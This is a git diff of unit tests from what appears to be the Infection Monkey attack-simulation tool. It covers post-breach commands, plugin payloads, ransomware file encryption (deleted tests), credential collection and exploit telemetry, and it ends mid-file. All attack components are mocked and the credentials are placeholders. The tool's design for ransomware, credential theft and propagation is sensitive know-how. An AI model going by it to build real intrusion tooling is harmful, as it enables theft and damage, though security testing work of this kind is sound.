+ "windows_command": "", + "windows_filename": "", + # Current server is used for attack telemetry + "current_server": CUSTOM_SERVER, + } -def test_command_linux_custom_file_and_cmd( - mock_UsersPBA_linux_custom_file_and_cmd, -): +def test_command_linux_custom_file_and_cmd(fake_custom_pba_linux_options, set_os_linux): + pba = CustomPBA(MagicMock()) + pba._set_options(fake_custom_pba_linux_options) expected_command = f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD}" - assert mock_UsersPBA_linux_custom_file_and_cmd.command == expected_command + assert pba.command == expected_command + assert pba.filename == CUSTOM_LINUX_FILENAME @pytest.fixture -def mock_UsersPBA_windows_custom_file_and_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", - CUSTOM_WINDOWS_CMD, - ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_windows_filename", - CUSTOM_WINDOWS_FILENAME, - ) - return UsersPBA() +def fake_custom_pba_windows_options(): + return { + "linux_command": "", + "linux_filename": "", + "windows_command": CUSTOM_WINDOWS_CMD, + "windows_filename": CUSTOM_WINDOWS_FILENAME, + # Current server is used for attack telemetry + "current_server": CUSTOM_SERVER, + } -def test_command_windows_custom_file_and_cmd( - mock_UsersPBA_windows_custom_file_and_cmd, -): +def test_command_windows_custom_file_and_cmd(fake_custom_pba_windows_options, set_os_windows): + + pba = CustomPBA(MagicMock()) + pba._set_options(fake_custom_pba_windows_options) expected_command = f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD}" - assert mock_UsersPBA_windows_custom_file_and_cmd.command == expected_command + assert pba.command == expected_command + assert pba.filename == CUSTOM_WINDOWS_FILENAME @pytest.fixture -def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_linux_filename", - CUSTOM_LINUX_FILENAME, - ) - return UsersPBA() +def fake_options_files_only(): + return { + "linux_command": "", + "linux_filename": CUSTOM_LINUX_FILENAME, + "windows_command": "", + "windows_filename": CUSTOM_WINDOWS_FILENAME, + # Current server is used for attack telemetry + "current_server": CUSTOM_SERVER, + } -def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file): - expected_command = "" - assert mock_UsersPBA_linux_custom_file.command == expected_command +@pytest.mark.parametrize("os", [set_os_linux, set_os_windows]) +def test_files_only(fake_options_files_only, os): + pba = CustomPBA(MagicMock()) + pba._set_options(fake_options_files_only) + assert pba.command == "" @pytest.fixture -def mock_UsersPBA_windows_custom_file(set_os_windows, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_windows_filename", - CUSTOM_WINDOWS_FILENAME, - ) - return UsersPBA() +def fake_options_commands_only(): + return { + "linux_command": CUSTOM_LINUX_CMD, + "linux_filename": "", + "windows_command": CUSTOM_WINDOWS_CMD, + "windows_filename": "", + # Current server is used for attack telemetry + "current_server": CUSTOM_SERVER, + } -def test_command_windows_custom_file(mock_UsersPBA_windows_custom_file): - expected_command = "" - assert mock_UsersPBA_windows_custom_file.command == expected_command +def test_commands_only(fake_options_commands_only, set_os_linux): + pba = CustomPBA(MagicMock()) + pba._set_options(fake_options_commands_only) + assert pba.command == CUSTOM_LINUX_CMD + assert pba.filename == "" -@pytest.fixture -def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", - CUSTOM_LINUX_CMD, - ) - monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_linux_filename", None) - return UsersPBA() - - -def test_command_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd): - expected_command = CUSTOM_LINUX_CMD - assert mock_UsersPBA_linux_custom_cmd.command == expected_command - - -@pytest.fixture -def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", - CUSTOM_WINDOWS_CMD, - ) - monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_windows_filename", None) - return UsersPBA() - - -def test_command_windows_custom_cmd(mock_UsersPBA_windows_custom_cmd): - expected_command = CUSTOM_WINDOWS_CMD - assert mock_UsersPBA_windows_custom_cmd.command == expected_command +def test_commands_only_windows(fake_options_commands_only, set_os_windows): + pba = CustomPBA(MagicMock()) + pba._set_options(fake_options_commands_only) + assert pba.command == CUSTOM_WINDOWS_CMD + assert pba.filename == "" diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py new file mode 100644 index 000000000..39273faee --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -0,0 +1,49 @@ +import threading +from unittest.mock import MagicMock + +from infection_monkey.i_puppet import PingScanData, PluginType +from infection_monkey.puppet.puppet import EMPTY_FINGERPRINT, Puppet + + +def test_puppet_run_payload_success(): + p = Puppet() + + payload = MagicMock() + payload_name = "PayloadOne" + + p.load_plugin(payload_name, payload, PluginType.PAYLOAD) + p.run_payload(payload_name, {}, threading.Event()) + + payload.run.assert_called_once() + + +def test_puppet_run_multiple_payloads(): + p = Puppet() + + payload_1 = MagicMock() + payload1_name = "PayloadOne" + + payload_2 = MagicMock() + payload2_name = "PayloadTwo" + + payload_3 = MagicMock() + payload3_name = "PayloadThree" + + p.load_plugin(payload1_name, payload_1, PluginType.PAYLOAD) + p.load_plugin(payload2_name, payload_2, PluginType.PAYLOAD) + p.load_plugin(payload3_name, payload_3, PluginType.PAYLOAD) + + p.run_payload(payload1_name, {}, threading.Event()) + payload_1.run.assert_called_once() + + p.run_payload(payload2_name, {}, threading.Event()) + payload_2.run.assert_called_once() + + p.run_payload(payload3_name, {}, threading.Event()) + payload_3.run.assert_called_once() + + +def test_fingerprint_exception_handling(monkeypatch): + p = Puppet() + p._plugin_registry.get_plugin = MagicMock(side_effect=Exception) + assert p.fingerprint("", "", PingScanData("windows", False), {}, {}) == EMPTY_FINGERPRINT diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py deleted file mode 100644 index 141186f18..000000000 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py +++ /dev/null @@ -1,73 +0,0 @@ -from pathlib import Path - -import pytest -from tests.utils import raise_ - -from common.utils.file_utils import InvalidPath -from infection_monkey.ransomware import ransomware_config -from infection_monkey.ransomware.ransomware_config import RansomwareConfig - -LINUX_DIR = "/tmp/test" -WINDOWS_DIR = "C:\\tmp\\test" - - -@pytest.fixture -def config_from_island(): - return { - "encryption": { - "enabled": None, - "directories": { - "linux_target_dir": LINUX_DIR, - "windows_target_dir": WINDOWS_DIR, - }, - }, - "other_behaviors": {"readme": None}, - } - - -@pytest.mark.parametrize("enabled", [True, False]) -def test_encryption_enabled(enabled, config_from_island): - config_from_island["encryption"]["enabled"] = enabled - config = RansomwareConfig(config_from_island) - - assert config.encryption_enabled == enabled - - -@pytest.mark.parametrize("enabled", [True, False]) -def test_readme_enabled(enabled, config_from_island): - config_from_island["other_behaviors"]["readme"] = enabled - config = RansomwareConfig(config_from_island) - - assert config.readme_enabled == enabled - - -def test_linux_target_dir(monkeypatch, config_from_island): - monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: False) - - config = RansomwareConfig(config_from_island) - assert config.target_directory == Path(LINUX_DIR) - - -def test_windows_target_dir(monkeypatch, config_from_island): - monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: True) - - config = RansomwareConfig(config_from_island) - assert config.target_directory == Path(WINDOWS_DIR) - - -def test_env_variables_in_target_dir_resolved(config_from_island, patched_home_env, tmp_path): - path_with_env_variable = "$HOME/ransomware_target" - - config_from_island["encryption"]["directories"]["linux_target_dir"] = config_from_island[ - "encryption" - ]["directories"]["windows_target_dir"] = path_with_env_variable - - config = RansomwareConfig(config_from_island) - assert config.target_directory == patched_home_env / "ransomware_target" - - -def test_target_dir_is_none(monkeypatch, config_from_island): - monkeypatch.setattr(ransomware_config, "expand_path", lambda _: raise_(InvalidPath("invalid"))) - - config = RansomwareConfig(config_from_island) - assert config.target_directory is None diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py deleted file mode 100644 index 6c73cfb8d..000000000 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ /dev/null @@ -1,174 +0,0 @@ -from pathlib import PurePosixPath -from unittest.mock import MagicMock - -import pytest -from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( - ALL_ZEROS_PDF, - TEST_KEYBOARD_TXT, -) - -from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC -from infection_monkey.ransomware.ransomware_config import RansomwareConfig -from infection_monkey.ransomware.ransomware_payload import RansomwarePayload - - -@pytest.fixture -def ransomware_payload(build_ransomware_payload, ransomware_payload_config): - return build_ransomware_payload(ransomware_payload_config) - - -@pytest.fixture -def build_ransomware_payload( - mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy -): - def inner(config): - return RansomwarePayload( - config, - mock_file_encryptor, - mock_file_selector, - mock_leave_readme, - telemetry_messenger_spy, - ) - - return inner - - -@pytest.fixture -def ransomware_payload_config(ransomware_test_data): - class RansomwareConfigStub(RansomwareConfig): - def __init__(self, encryption_enabled, readme_enabled, target_directory): - self.encryption_enabled = encryption_enabled - self.readme_enabled = readme_enabled - self.target_directory = target_directory - - return RansomwareConfigStub(True, False, ransomware_test_data) - - -@pytest.fixture -def mock_file_encryptor(): - return MagicMock() - - -@pytest.fixture -def mock_file_selector(ransomware_test_data): - selected_files = [ - ransomware_test_data / ALL_ZEROS_PDF, - ransomware_test_data / TEST_KEYBOARD_TXT, - ] - return MagicMock(return_value=selected_files) - - -@pytest.fixture -def mock_leave_readme(): - return MagicMock() - - -def test_files_selected_from_target_dir( - ransomware_payload, - ransomware_payload_config, - mock_file_selector, -): - ransomware_payload.run_payload() - mock_file_selector.assert_called_with(ransomware_payload_config.target_directory) - - -def test_all_selected_files_encrypted( - ransomware_test_data, ransomware_payload, mock_file_encryptor -): - ransomware_payload.run_payload() - - assert mock_file_encryptor.call_count == 2 - mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) - mock_file_encryptor.assert_any_call(ransomware_test_data / TEST_KEYBOARD_TXT) - - -def test_encryption_skipped_if_configured_false( - build_ransomware_payload, ransomware_payload_config, mock_file_encryptor -): - ransomware_payload_config.encryption_enabled = False - - ransomware_payload = build_ransomware_payload(ransomware_payload_config) - ransomware_payload.run_payload() - - assert mock_file_encryptor.call_count == 0 - - -def test_encryption_skipped_if_no_directory( - build_ransomware_payload, ransomware_payload_config, mock_file_encryptor -): - ransomware_payload_config.encryption_enabled = True - ransomware_payload_config.target_directory = None - - ransomware_payload = build_ransomware_payload(ransomware_payload_config) - ransomware_payload.run_payload() - - assert mock_file_encryptor.call_count == 0 - - -def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): - ransomware_payload.run_payload() - - assert len(telemetry_messenger_spy.telemetries) == 2 - telem_1 = telemetry_messenger_spy.telemetries[0] - telem_2 = telemetry_messenger_spy.telemetries[1] - - assert ALL_ZEROS_PDF in telem_1.get_data()["files"][0]["path"] - assert telem_1.get_data()["files"][0]["success"] - assert telem_1.get_data()["files"][0]["error"] == "" - assert TEST_KEYBOARD_TXT in telem_2.get_data()["files"][0]["path"] - assert telem_2.get_data()["files"][0]["success"] - assert telem_2.get_data()["files"][0]["error"] == "" - - -def test_telemetry_failure( - monkeypatch, ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy -): - file_not_exists = "/file/not/exist" - ransomware_payload = RansomwarePayload( - ransomware_payload_config, - MagicMock( - side_effect=FileNotFoundError( - f"[Errno 2] No such file or directory: '{file_not_exists}'" - ) - ), - MagicMock(return_value=[PurePosixPath(file_not_exists)]), - mock_leave_readme, - telemetry_messenger_spy, - ) - - ransomware_payload.run_payload() - telem = telemetry_messenger_spy.telemetries[0] - - assert file_not_exists in telem.get_data()["files"][0]["path"] - assert not telem.get_data()["files"][0]["success"] - assert "No such file or directory" in telem.get_data()["files"][0]["error"] - - -def test_readme_false(build_ransomware_payload, ransomware_payload_config, mock_leave_readme): - ransomware_payload_config.readme_enabled = False - ransomware_payload = build_ransomware_payload(ransomware_payload_config) - - ransomware_payload.run_payload() - mock_leave_readme.assert_not_called() - - -def test_readme_true( - build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_test_data -): - ransomware_payload_config.readme_enabled = True - ransomware_payload = build_ransomware_payload(ransomware_payload_config) - - ransomware_payload.run_payload() - mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME) - - -def test_no_readme_if_no_directory( - build_ransomware_payload, ransomware_payload_config, mock_leave_readme -): - ransomware_payload_config.target_directory = None - ransomware_payload_config.readme_enabled = True - - ransomware_payload = build_ransomware_payload(ransomware_payload_config) - - ransomware_payload.run_payload() - mock_leave_readme.assert_not_called() diff --git a/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py index 4d3259e67..9bacb2070 100644 --- a/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py +++ b/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -1,6 +1,6 @@ from unittest import TestCase -from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import ( +from infection_monkey.credential_collectors.mimikatz_collector.pypykatz_handler import ( _get_creds_from_pypykatz_session, ) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py index 690c4508c..6cfe82a80 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py @@ -1,4 +1,5 @@ import json +from pathlib import Path import pytest @@ -16,7 +17,8 @@ def T1105_telem_test_instance(): return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME) -def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): +@pytest.mark.parametrize("filename", [Path(FILENAME), FILENAME]) +def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry, filename): T1105_telem_test_instance.send() expected_data = { "status": STATUS.value, diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py index bb1bf2088..b59471470 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py @@ -1,11 +1,13 @@ import json +from pathlib import Path import pytest from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1107_telem import T1107Telem -PATH = "path/to/file.txt" +# Convert to path to fix path separators for current os +PATH = str(Path("path/to/file.txt")) STATUS = ScanStatus.USED @@ -20,3 +22,8 @@ def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): expected_data = json.dumps(expected_data, cls=T1107_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" + + +def test_T1107_send__path(spy_send_telemetry): + T1107Telem(STATUS, Path(PATH)).send() + assert json.loads(spy_send_telemetry.data)["path"] == PATH diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py new file mode 100644 index 000000000..2125b6479 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1145_telem.py @@ -0,0 +1,28 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1145_telem import T1145Telem + +NAME = "ubuntu" +HOME_DIR = "/home/ubuntu" +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1145_telem_test_instance(): + return T1145Telem(STATUS, NAME, HOME_DIR) + + +def test_T1145_send(T1145_telem_test_instance, spy_send_telemetry): + T1145_telem_test_instance.send() + expected_data = { + "status": STATUS.value, + "technique": "T1145", + "name": NAME, + "home_dir": HOME_DIR, + } + expected_data = json.dumps(expected_data, cls=T1145_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/conftest.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/conftest.py new file mode 100644 index 000000000..c29555262 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/conftest.py @@ -0,0 +1,18 @@ +import pytest + +from infection_monkey.telemetry.base_telem import BaseTelem + + +@pytest.fixture(scope="package") +def TestTelem(): + class InnerTestTelem(BaseTelem): + telem_category = None + __test__ = False + + def __init__(self): + pass + + def get_data(self): + return {} + + return InnerTestTelem diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py new file mode 100644 index 000000000..7481bff34 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py @@ -0,0 +1,56 @@ +from unittest.mock import MagicMock + +from infection_monkey.credential_collectors import Password, SSHKeypair, Username +from infection_monkey.i_puppet import Credentials +from infection_monkey.telemetry.credentials_telem import CredentialsTelem +from infection_monkey.telemetry.messengers.credentials_intercepting_telemetry_messenger import ( + CredentialsInterceptingTelemetryMessenger, +) + +TELEM_CREDENTIALS = [ + Credentials( + [Username("user1"), Username("user3")], + [ + Password("abcdefg"), + Password("root"), + SSHKeypair(public_key="some_public_key", private_key="some_private_key"), + ], + ) +] + + +class MockCredentialsTelem(CredentialsTelem): + def __init(self, credentials): + super().__init__(credentials) + + def get_data(self): + return {} + + +def test_credentials_generic_telemetry(TestTelem): + mock_telemetry_messenger = MagicMock() + mock_credentials_store = MagicMock() + + telemetry_messenger = CredentialsInterceptingTelemetryMessenger( + mock_telemetry_messenger, mock_credentials_store + ) + + telemetry_messenger.send_telemetry(TestTelem()) + + assert mock_telemetry_messenger.send_telemetry.called + assert not mock_credentials_store.add_credentials.called + + +def test_successful_intercepting_credentials_telemetry(): + mock_telemetry_messenger = MagicMock() + mock_credentials_store = MagicMock() + mock_empty_credentials_telem = MockCredentialsTelem(TELEM_CREDENTIALS) + + telemetry_messenger = CredentialsInterceptingTelemetryMessenger( + mock_telemetry_messenger, mock_credentials_store + ) + + telemetry_messenger.send_telemetry(mock_empty_credentials_telem) + + assert mock_telemetry_messenger.send_telemetry.called + assert mock_credentials_store.add_credentials.called diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py new file mode 100644 index 000000000..969489107 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py @@ -0,0 +1,62 @@ +from unittest.mock import MagicMock + +from infection_monkey.i_puppet.i_puppet import ExploiterResultData +from infection_monkey.model.host import VictimHost +from infection_monkey.telemetry.exploit_telem import ExploitTelem +from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import ( + ExploitInterceptingTelemetryMessenger, +) + + +class MockExpliotTelem(ExploitTelem): + def __init__(self, propagation_success): + erd = ExploiterResultData() + erd.propagation_success = propagation_success + super().__init__("TestExploiter", VictimHost("127.0.0.1"), erd) + + def get_data(self): + return {} + + +def test_generic_telemetry(TestTelem): + mock_telemetry_messenger = MagicMock() + mock_tunnel = MagicMock() + + telemetry_messenger = ExploitInterceptingTelemetryMessenger( + mock_telemetry_messenger, mock_tunnel + ) + + telemetry_messenger.send_telemetry(TestTelem()) + + assert mock_telemetry_messenger.send_telemetry.called + assert not mock_tunnel.set_wait_for_exploited_machines.called + + +def test_propagation_successful_expliot_telemetry(): + mock_telemetry_messenger = MagicMock() + mock_tunnel = MagicMock() + mock_expliot_telem = MockExpliotTelem(True) + + telemetry_messenger = ExploitInterceptingTelemetryMessenger( + mock_telemetry_messenger, mock_tunnel + ) + + telemetry_messenger.send_telemetry(mock_expliot_telem) + + assert mock_telemetry_messenger.send_telemetry.called + assert mock_tunnel.set_wait_for_exploited_machines.called + + +def test_propagation_failed_expliot_telemetry(): + mock_telemetry_messenger = MagicMock() + mock_tunnel = MagicMock() + mock_expliot_telem = MockExpliotTelem(False) + + telemetry_messenger = ExploitInterceptingTelemetryMessenger( + mock_telemetry_messenger, mock_tunnel + ) + + telemetry_messenger.send_telemetry(mock_expliot_telem) + + assert mock_telemetry_messenger.send_telemetry.called + assert not mock_tunnel.set_wait_for_exploited_machines.called diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py new file mode 100644 index 000000000..13c93f60f --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py @@ -0,0 +1,51 @@ +import json + +import pytest + +from infection_monkey.credential_collectors import Password, SSHKeypair, Username +from infection_monkey.i_puppet import Credentials +from infection_monkey.telemetry.credentials_telem import CredentialsTelem + +USERNAME = "m0nkey" +PASSWORD = "mmm" +PUBLIC_KEY = "pub_key" +PRIVATE_KEY = "priv_key" + + +@pytest.fixture +def credentials_for_test(): + + return Credentials( + [Username(USERNAME)], [Password(PASSWORD), SSHKeypair(PRIVATE_KEY, PUBLIC_KEY)] + ) + + +def test_credential_telem_send(spy_send_telemetry, credentials_for_test): + + expected_data = [ + { + "identities": [{"username": USERNAME, "credential_type": "USERNAME"}], + "secrets": [ + {"password": PASSWORD, "credential_type": "PASSWORD"}, + { + "private_key": PRIVATE_KEY, + "public_key": PUBLIC_KEY, + "credential_type": "SSH_KEYPAIR", + }, + ], + } + ] + + telem = CredentialsTelem([credentials_for_test]) + telem.send() + + expected_data = json.dumps(expected_data, cls=telem.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "credentials" + + +def test_credentials_property(credentials_for_test): + telem = CredentialsTelem([credentials_for_test]) + + assert len(list(telem.credentials)) == 1 + assert list(telem.credentials)[0] == credentials_for_test diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py index 6ecfeba1a..3255cc7b7 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py @@ -5,6 +5,7 @@ import pytest from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.exploit_telem import ExploitTelem +from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData DOMAIN_NAME = "domain-name" IP = "0.0.0.0" @@ -15,11 +16,9 @@ HOST_AS_DICT = { "os": {}, "services": {}, "icmp": False, - "monkey_exe": None, "default_tunnel": None, "default_server": None, } -EXPLOITER = SSHExploiter(HOST) EXPLOITER_NAME = "SSHExploiter" EXPLOITER_INFO = { "display_name": SSHExploiter._EXPLOITED_SERVICE, @@ -31,17 +30,27 @@ EXPLOITER_INFO = { } EXPLOITER_ATTEMPTS = [] RESULT = False +OS_LINUX = "linux" +ERROR_MSG = "failed because yolo" @pytest.fixture def exploit_telem_test_instance(): - return ExploitTelem(EXPLOITER, RESULT) + return ExploitTelem( + EXPLOITER_NAME, + HOST, + ExploiterResultData( + RESULT, RESULT, False, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG + ), + ) def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): exploit_telem_test_instance.send() expected_data = { - "result": RESULT, + "exploitation_result": RESULT, + "propagation_result": RESULT, + "interrupted": False, "machine": HOST_AS_DICT, "exploiter": EXPLOITER_NAME, "info": EXPLOITER_INFO, diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py index e880b3fc9..fff070ad1 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py @@ -2,6 +2,7 @@ import json import pytest +from infection_monkey.i_puppet import PostBreachData from infection_monkey.telemetry.post_breach_telem import PostBreachTelem HOSTNAME = "hostname" @@ -20,10 +21,9 @@ class StubSomePBA: @pytest.fixture def post_breach_telem_test_instance(monkeypatch): - PBA = StubSomePBA() monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda: (HOSTNAME, IP)) monkeypatch.setattr(PostBreachTelem, "_get_os", lambda: OS) - return PostBreachTelem(PBA, RESULT) + return PostBreachTelem(PostBreachData(PBA_NAME, PBA_COMMAND, RESULT)) def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py index 07c6fbf41..a369fe4cf 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py @@ -14,7 +14,6 @@ HOST_AS_DICT = { "os": {}, "services": {}, "icmp": False, - "monkey_exe": None, "default_tunnel": None, "default_server": None, } diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py deleted file mode 100644 index 146919899..000000000 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py +++ /dev/null @@ -1,20 +0,0 @@ -import json - -import pytest - -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem - -SYSTEM_INFO = {} - - -@pytest.fixture -def system_info_telem_test_instance(): - return SystemInfoTelem(SYSTEM_INFO) - - -def test_system_info_telem_send(system_info_telem_test_instance, spy_send_telemetry): - system_info_telem_test_instance.send() - expected_data = SYSTEM_INFO - expected_data = json.dumps(expected_data, cls=system_info_telem_test_instance.json_encoder) - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "system_info" diff --git a/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py b/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py index 8b0408c0a..2c079309f 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py @@ -9,7 +9,7 @@ TEST_USER = "test_user" @pytest.fixture def subprocess_check_output_spy(monkeypatch): - def mock_check_output(command, stderr): + def mock_check_output(command, stderr, timeout): mock_check_output.command = command mock_check_output.command = "" diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py deleted file mode 100644 index f0276b19d..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py +++ /dev/null @@ -1,7 +0,0 @@ -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import ( # noqa: F401, E501 - PluginTester, -) - - -class SomeDummyPlugin: - pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py deleted file mode 100644 index 821b2d063..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py +++ /dev/null @@ -1,6 +0,0 @@ -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester - - -class BadPluginInit(PluginTester): - def __init__(self): - raise Exception("TestException") diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py deleted file mode 100644 index 45f39738a..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py +++ /dev/null @@ -1,10 +0,0 @@ -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester - - -class BadInit(PluginTester): - def __init__(self): - raise Exception("TestException") - - -class ProperClass(PluginTester): - pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py deleted file mode 100644 index 0220e0683..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py +++ /dev/null @@ -1,23 +0,0 @@ -import tests.unit_tests.infection_monkey.utils.plugins.pluginTests - -from infection_monkey.utils.plugins.plugin import Plugin - - -class PluginTester(Plugin): - classes_to_load = [] - - @staticmethod - def should_run(class_name): - """ - Decides if post breach 